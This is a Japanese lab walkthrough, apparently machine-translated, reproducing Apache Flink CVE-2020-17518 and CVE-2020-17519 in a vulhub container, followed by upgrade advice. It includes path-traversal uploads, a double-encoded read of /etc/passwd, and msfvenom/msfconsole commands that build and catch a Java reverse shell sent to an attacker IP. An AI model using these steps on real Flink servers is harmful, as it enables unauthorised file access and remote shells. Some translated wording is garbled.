前書き
Apache Flinkは、効率的で分散型の一般的なデータ処理プラットフォームです。ApacheSoftwareFoundationによって開発されたオープンソースのストリーム処理フレームワークです。そのコアは、JavaとScalaで記述された分散型ストリームデータストリームエンジンです(つまり、sparkに似ています)。 。Flinkには、「実行中のジョブ」と「最近完了したジョブ」のステータスと統計を照会するために使用できる監視APIがあります。監視APIはFlink独自のダッシュボードで使用され、監視ツールのカスタマイズにも使用できます。デフォルトの監視はポート8081です。
この記事では、知識ポイントに関する実践的な演習を行います。ネットワークセキュリティインシデント(「ネットワークセキュリティインシデント」このコースは、比較的影響の大きいセキュリティインシデントによってシミュレートされたテスト環境で構成されています。このコースでは、過去のセキュリティインシデントを追加するだけでなく、強化します。現在のイベントをフォローし、最新のセキュリティインシデントを追加します。初めて全員に知らせ、自分の安全を守る方法を知らせます。)
監視APIはRESTフルAPIであり、HTTP要求を受け入れ、JSON形式のデータに応答します。
監視APIの1つは/ jars / uploadであり、これはjarをクラスターにアップロードするために使用されます。jarはマルチパートデータとして送信する必要があります。一部のhttpライブラリはデフォルトでヘッダーを追加しないため、「Content-Type」ヘッダーが「application / x-java-archive」に設定されていることを確認してください。Jarファイルはcurl経由でアップロードできます
'curl -X POST -H "Expect:" -F "jarfile = @ path / to / flink-job.jar" < http:// hostname:port / jars / upload> ;'
概要概要
Flink1.5.1はRESTAPIを導入しましたが、その実装には多くの欠陥があり、任意のファイル読み取り(CVE-2020-17519)および任意のファイル書き込み(CVE-2020-17518)の脆弱性が発生します。
CVE-2020-17518 ***ユーザーは、REST APIを使用してHTTPヘッダーを変更し、アップロードされたファイルをローカルファイルシステムの任意の場所(Flink 1.5.1プロセスからアクセスできます)に書き込むことができます。
CVE-2020-17519 Apache Flink 1.11.0を使用すると、ハッカーはJobManagerプロセスのREST APIを介してJobManagerローカルファイルシステム(JobManagerプロセスからアクセス可能)上の任意のファイルを読み取ることができます。
インパクトバージョン
CVE-2020-17518
Apache:Apache Flink:1.5.1-1.11.2
CVE-2020-17519
Apache:Apache Flink:1.11.0、1.11.1、1.11.2
環境設定
2つの脆弱性の影響を受けるバージョンには1.11.2が含まれているため、このバージョンを使用して再現します
ここでは、vulhub環境を使用して、新しいdocker-compose.ymlを複製および作成します。
バージョン:「2」
サービス:
多額:
画像:vulhub / flink:1.11.2
コマンド:jobmanager
ポート:
-"8081:8081"
-「6123:6123」
docker-composeを使用して環境を開始し、次のコマンドを実行してイメージをダウンロードし、このイメージでコンテナーを開始します。マップされたポートは8081および6123です。
docker-compose up -d
アクセスhttp:// ip:8081
脆弱性の再発
ファイルのアップロード(CVE-2020-17518)は、以下を再現します。
Apache Flink 1.5.1ではRESTハンドラーが導入されており、悪意を持って変更されたHTTP HEADERを介して、アップロードされたファイルをローカルファイルシステムの任意の場所に書き込むことができます。
アクセスhttp:// ip:8081で、[新しいジョブの送信]の[新規追加]を見つけて、jarパッケージをアップロードします。デスクトップでjarパッケージの圧縮ファイルを作成し、zipサフィックスをjarに変更して、パッケージをキャプチャできます。
キャプチャされた要求パケットは次のとおりです。
変更のためにリピーターモジュールにリクエストパッケージを送信します。たとえば、ここでは/ tmpディレクトリに新しいファイルを作成しています。../は、現在のパスがわからないため、切り替えパスを容易にするためです。../を使用してに切り替えることができます。ルートディレクトリ。
ファイルが正常にアップロードされたかどうかを確認します
docker psviewコンテナ
コンテナに入る
docker exec -it CONTAINER ID / bin / bash
ファイルが正常にアップロードされたことがわかります
flink自体は認証されておらず、任意のjarパッケージのアップロードと実行をサポートしているため、jarパッケージgetshellをアップロードできます。
jar形式で馬を生成する
lhostはkaliのip、lportはkali受信シェルのポートです
msfvenom -p java / shell_reverse_tcp lhost = 192.168.74.142 lport = 1234 -f jar> /home/a.jar
msfを起動してシェルを受信します
msfconsole
エクスプロイト/マルチ/ハンドラーを使用する
ペイロードjava / shell_reverse_tcpを設定します
LHOST192.168.74.142を設定します
LPORT1234を設定します
エクスプロイト
jarパッケージをアップロードした後、アップロードしたパッケージをクリックしてから送信します
シェルに行く
任意のファイル読み取り(CVE-2020-17519)は以下を再現します。
Apache Flink 1.11.0で導入された(および1.11.1と1.11.2でもリリースされた)変更により、管理者はJobManagerプロセスのRESTインターフェイスを介してJobManagerローカルファイルシステム上の任意のファイルを読み取ることができます。アクセスは、JobManagerプロセスによってアクセス可能なファイルに制限されています。
たとえば、ここで/ etc /の下にあるpasswdファイルを読み取ります。%252fは/の2つのURLエンコーディングです。
バグ修正
セキュリティバージョンが正式にリリースされました。ダウンロードして、セキュリティバージョンにアップグレードしてください。
< https://flink.apache.org/zh/downloads.html> ;
参照リンク